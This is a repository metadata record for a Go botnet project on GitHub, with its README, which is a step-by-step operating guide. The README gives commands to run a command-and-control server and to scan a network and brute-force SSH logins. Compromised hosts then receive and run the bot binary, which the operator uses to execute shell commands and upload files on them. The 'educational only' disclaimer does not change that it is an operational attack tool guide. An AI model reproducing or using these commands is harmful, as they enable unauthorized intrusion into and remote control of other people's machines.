{"id":13713827,"url":"https://github.com/threeaccents/botnet","last_synced_at":"2025-04-26T23:32:07.987Z","repository":{"id":43406118,"uuid":"60429358","full_name":"threeaccents/botnet","owner":"threeaccents","description":"A tcp  botnet written in golang ","archived":false,"fork":false,"pushed_at":"2019-05-14T13:23:08.000Z","size":10779,"stargazers_count":104,"open_issues_count":3,"forks_count":37,"subscribers_count":7,"default_branch":"master","last_synced_at":"2025-04-26T11:17:00.265Z","etag":null,"topics":["botnet","go","golang"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/threeaccents.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-06-04T20:38:53.000Z","updated_at":"2025-02-03T15:52:59.000Z","dependencies_parsed_at":"2022-07-08T21:47:22.352Z","dependency_job_id":null,"html_url":"https://github.com/threeaccents/botnet","commit_stats":null,"previous_names":["rodzzlessa24/botnet"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threeaccents%2Fbotnet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threeaccents%2Fbotnet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threeaccents%2Fbotnet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/threeaccents%2Fbotnet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/threeaccents","download_url":"https://codeload.github.com/threeaccents/botnet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251068039,"owners_count":21531475,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["botnet","go","golang"],"created_at":"2024-08-02T23:01:45.470Z","updated_at":"2025-04-26T23:32:06.820Z","avatar_url":"https://github.com/threeaccents.png","language":"Go","funding_links":[],"categories":["Repositories"],"sub_categories":[],"readme":"## Go Botnet\n\nSimple botnet written in GO. It features a command and control over cli and a botnet payload that communicates to the C\u0026C over tcp.\n\n# Usage:\n\nCompile from the `botnet/cmd/botnet` directory.\n\n - Run the C\u0026C:\n\n```bash\nbotnet listen\n```\n\nThis starts up a C\u0026C that listens on default port `9999`.\n\n- Attack a machine to get the botnet on the machine. The only supported attack right now is brute forcing SSH \n\n```bash\nbotnet -ufile /paht/to/usernames/file -pfile /path/to/passwords/file -bindir /path/to/botnet/bin/dir attack ssh\n```\n\nThis will scan all the ips on the network find which ips have port 22 open and attempt to brute force its way in. Once it has access it will SCP the botnet binary over and execute the botnet client to connect to our command and control center\n\n - Connect a payload to the C\u0026C:\n\n```bash\nbotnet -target 192.168.2.2 -port 9999 connect\n```\n\nThis will start a botnet payload that connects to the C\u0026C on port `9999`.\n\n- Now that we have a payload connected to our C\u0026C we can run a view commands. You'll see the C\u0026C prompt `\u003cCC:#\u003e`\n\nshow all payloads connected to C\u0026C:\n\n```bash\n\u003cCC:#\u003e show\n```\n\nThis will return the payload ids and addresses\n\n```\nID: 0 Address: 127.0.0.1:64635\nID: 1 Address: 127.0.0.1:64634\n```\n\n- To communicate with the payload use the `use` command followed by the payloads id:\n\n```bash\n\u003cCC:#\u003e use 0\n```\n\nYou will notice now your prompt is changed to `\u003cPL:#\u003e`\n\n- Execute a command in the remote server just type in a command:\n\n```bash\n\u003cPL:#\u003e ls -l\n```\n\nThis will return the directory where the payload is running\n\n- Send a file to the payload:\n\n```bash\n\u003cPL:#\u003e u: /path/to/file\n```\n\nThis will send the specified file to the payload\n\n- Exit out of the payload and go back to the main C\u0026C\n\n```bash\n\u003cPL:#\u003e exit\n```\n\nYou should see a message saying `payload exiting` and the prompt should be back to `\u003cCC#\u003e`\n\n#Terms of Use\n\n* Do NOT use this on any computer you do not own, or are not allowed to run this on.\n* You may NEVER attempt to sell this, its free and open source.\n* The authors and publishers assume no responsibility.\n* For educational purposes only.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthreeaccents%2Fbotnet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthreeaccents%2Fbotnet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthreeaccents%2Fbotnet/lists"}